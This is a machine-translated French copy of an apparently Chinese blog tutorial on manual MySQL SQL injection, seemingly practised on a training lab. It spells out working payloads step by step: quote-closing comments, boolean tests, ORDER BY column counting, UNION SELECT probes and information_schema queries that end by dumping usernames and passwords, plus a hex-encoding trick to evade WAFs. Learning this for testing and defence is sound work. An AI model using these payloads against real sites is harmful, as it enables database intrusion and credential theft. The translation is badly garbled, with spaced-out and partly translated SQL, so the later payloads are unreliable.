Novice Science | Le processus d'injection de base de l'injection manuelle MySQL

Les étapes de base de l'injection manuelle MySQL et l'enregistrement de certaines techniques. Lors de l'apprentissage de l'injection manuelle, les articles sur Internet sont inégaux, ce qui entraîne une compréhension de longue date de l'injection manuelle a été dans un état de peu de compréhension, enregistrez ici cet article, laissez Xiaobai Evitons les détours. Cet article est uniquement pour l'injection manuelle de Xiaobai, et la grosse vache contourne le léger spray.

étape

Commentaire ou déclaration de clôture

Regardez d'abord le prochain code source de requête d'instruction SQL de base:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

Les étapes suivantes utilisent cette instruction SQL de base par défaut. D'autres méthodes d'injection changent la soupe sans changer le médicament. Ici, je veux juste trier les étapes injectées et les instructions clés.

Déclaration citée

id =1 ' and '1' ='1

L'instruction SQL introduite dans le code source est:

SELECT * FROM users WHERE id='1 ' and '1' ='1' LIMIT 0,1

Commentaire après la phrase

Charge utile d'annotation couramment utilisée

or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
--+ 可以用#替换,url 提交过程中 Url 编码后的#为%23

L'instruction SQL introduite dans le code source est:

SELECT * FROM users WHERE id=''or 1=1--+' LIMIT 0,1

De cette façon, nous pouvons voir que les déclarations suivantes sont directement commentées: en général, il y a plus de commentaires dans le combat réel.

et vérifier

Bien sûr, ici et la vérification et / ou la vérification sont toutes deux possibles, il y a peu de différence entre les deux: la page revient à la normale

?id=1' and 1=1 --+ 
?id=1' or 1=2 --+

La page revient anormalement

?id=1' and 1=2 --+
?id=1' or 1=1 --+

S'il s'avère que la page est d'abord normale puis anormale, cela signifie qu'il y a injection dans la page. Bien sûr, c'est la méthode de jugement la plus basique: lorsque le blind parie plus tard, la fonction de retard est utilisée pour observer l'heure de retour de la page.

Nombre de champs de requête

Le nombre de champs de requête utilise principalement l'ordre par dans MySQL pour déterminer le nombre de champs. Trier par utilise généralement une recherche demi-et-demie en mathématiques pour déterminer le nombre de champs spécifiques. Ce sera très efficace. Ce qui suit suppose cet ordre par est utilisé pour déterminer l'injection d'un champ inconnu.

? id = 1 'ordre par 1 - + A ce moment, la page est normale, continuer le test avec un plus grand nombre? id = 1' ordre par 10 - + A ce moment, la page renvoie une erreur, remplacez par un plus petit nombre à tester? id = 1 'order by 5 - + À ce moment, la page signale toujours une erreur, continuez à réduire la valeur test? id = 1' order by 3 - + A ce moment, la page retourne à la normale, remplacez par un plus grand nombre test? id = 1 'order by 4 - + this Lorsque la page renvoie une erreur, 3 est normal, 4 est faux, indiquant que le nombre de champs est 3

Déterminez le nombre de champs par la recherche mathématique de moitié.

Requête conjointe

UNION SELECT Requête conjointe, injection manuelle de phrases classiques, la fonction est de UNIONconnecter ultérieurement notre phrase d'injection malveillante et de la mettre dans la base de données pour requête. Étant donné que le nombre de champs est :, 3alors la déclaration formelle est la suivante:

?id=1' UNION SELECT 1,2,3 --+

Cette page ne signalera pas d'erreur. Pour le moment, la déclaration que nous introduisons dans la base de données est la suivante:

L'instruction SELECT 1,2,3 n'a aucune signification, donc la page revient à la normale.

requête d'union

Mais pour collecter des informations, nous devons connaître la valeur dans la page actuelle, quel champ de la base de données est appelé, et nous pouvons délibérément construire une mauvaise déclaration pour exploser le mauvais champ:

id = -1 'UNION SELECT 1,2,3 - + Pass id = -1 Une valeur d'id négative qui n'existe pas pour déclencher une erreur id = 1' et 1 = 2 UNION SELECT 1,2,3 - + Passer et 1 = 2 instruction pour déclencher une erreur id = 1 'ou 1 = 1 UNION SELECT 1,2,3 - + ou 1 = 1 instruction pour déclencher une erreur

On peut voir que le numéro de champ spécifique a été exposé. Voici l'explosion 2et 3entrez dans la base de données MySQL pour voir la structure des champs de cette table:

Structure parfaite des tables de la base de données ceci est vérifié avant le numéro d'erreur de rafale 2et 3, là où les chiffres représentent le champ, correspondant aux valeurs de champ se produisent, c'est: usernameet password.

recueillir des informations

La valeur du champ peut être remplacée par notre déclaration malveillante. La première étape consiste principalement à collecter des informations, notamment à déterminer si la base de données actuelle est l'utilisateur root, la version de MySQL, etc. En général, certaines fonctions MySQL sont utilisées pour collecter des informations pour collecter ces informations: les fonctions système couramment utilisées par MySQL

version()            #MySQL版本
user()               #数据库用户名
database()           #数据库名
@@datadir            #数据库路径
@@version_compile_os #操作系统版本

Interroger le nom actuel de la base de données

id=1' and 1=2 UNION SELECT 1,database(),3 --+

Interroger la version de MySQL

id=1' and 1=2 UNION SELECT 1,2,version() --+

Utilisateur et chemin de la base de données de requête

id=1' and 1=2 UNION SELECT 1,user(),@@datadir --+

Base de données de requêtes

Interroger la base de données En règle générale, ce que nous devons vérifier lors de l'injection est la base de données actuelle, mais parfois l'autorité racine est NB et vous pouvez voir le contenu de la base de données en dehors de la base de données du site Web. Interroger la base de données actuelle

id=1' and 1=2 UNION SELECT 1,2,database() --+

Obtenez le nom de la base de données actuelle comme securitysuit : Interroger toutes les bases de données Parfois, vous ne pouvez pas vous empêcher de vouloir voir le contenu d'autres bases de données, vous pouvez utiliser cette instruction pour interroger toutes les bases de données:

id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+

group_concatLes fonctions sont utilisées ici . Le positionnement de cet article étant une étape d'injection manuelle, je ne vais pas expliquer en détail l'utilisation de ces fonctions ici. Pour comprendre les fonctions associées, veuillez vous référer à mon autre article: Injection manuelle MySQL de fonctions de chaîne courantes

Nom de la table de recherche

base de données de requête de base de données

id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

Base de données de guillemets simples

La database()fonction ici exécute une requête de base de données, car nous avons trouvé la base de données actuelle security, vous pouvez donc également l'écrire ici. Utilisez des guillemets simples pour entourer le nom de la base de données 'security':

id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

base de données de codage hexadécimal

S'il est gênant de mettre des guillemets simples, quelle coïncidence! Il existe une méthode plus gênante ici, qui consiste à hexencoder le nom de la base de données . Utilisez le HackBarplug-in fourni avec Firefox pour hexcoder rapidement :

hexL'ajout avant le codage 0xindique qu'il s'agit d'un codage hexadécimal.

La méthode de concentration courante actuelle est à peu près comme ça, et il existe des méthodes d' group_concatécriture hexadécimale puis non hexadécimale, qui sont censées contourner la classe waf  . Elle n'est pas très couramment utilisée ici et ne sera pas répétée ici. De la même manière, ces méthodes peuvent également être utilisées dans les noms de colonne de la base de données de requêtes, et vous devez apprendre à les utiliser de manière flexible.

Nom de la colonne de requête

Les informations actuellement collectées sont:

Nom de la base de données: nom de la table de la base de données securuty: emails, référents, uagents, utilisateurs

En tant que hacker, vous devez avoir un sens aigu de l'odorat (chien manuel) .En général, nous continuerons à deviner les userstableaux de ces tableaux. La méthode suivante est similaire à l'interrogation de la base de données pour interroger le nom de la colonne. Le principe est  MySQLqu'il information_schemay aura des informations pertinentes sur toutes les bases de données dans la suivante :

Maintenant que tout est là, voici une liste des informations les plus critiques information_schemade l' injection manuelle MySQL :

Enregistrer des informations sur la base de données

schemataL' schema_nameenregistrement dans la table sous la base de données information_schema  est 数据库le nom de chacun :

Non seulement tablesle table_schematableau sous la base de données est enregistré ici  , mais également le nom de chaque base de données:

Enregistrer les informations sur la fiche technique

tablesL' table_nameenregistrement dans la table sous la base de données information_schema  est 数据表le nom de chacun :

Voici la magnifique ligne de démarcation. J'ai été surpris. En un clin d'œil, je n'ai pas pu m'empêcher de tirer autant de choses. N'en parlons pas directement pour interroger les noms des colonnes sous le tableau des utilisateurs.

id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

Valeur du champ de requête

Comme il y a beaucoup de verbosité dans les noms de colonne de requête, les principes de base ont été écrits dessus, voici une charge utile simple:

id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users --+

Maintenant que vous connaissez la base de données, le nom de la table et le nom du champ, vous pouvez interroger directement sans utiliser la information_schanembase de données.

Bref classement

J'avais initialement prévu de l'écrire dans les étapes précédentes, mais je n'ai pas pu m'empêcher d'écrire trop. J'ai donc ouvert un titre pour une brève collation:

trié par - + Déterminer le nombre de champs

sélection d'union - + Requête d'union pour collecter des informations

id = 1 'et 1 = 2 UNION SELECT 1,2, database () - + Interroge la base de données actuelle

id = 1 'et 1 = 2 UNION SELECT 1,2, group_concat (schema_name) from information_schema.schemata - + Interroger toutes les bases de données

id = 1 'et 1 = 2 UNION SELECT 1,2, group_concat (nom_table) de information_schema.tables où table_schema = base de données () - + 查询 表 名

id = 1 'et 1 = 2 UNION SELECT 1,2, group_concat (nom_colonne) from information_schema.columns où nom_table =' utilisateurs '- + 查询 列 名

id = 1 'et 1 = 2 UNION SELECT 1,2, group_concat (id, nom d'utilisateur, mot de passe) des utilisateurs - + valeur du champ de requête

Je suppose que tu aimes

Origine blog.csdn.net/THMAIL/article/details/107805357
conseillé
Classement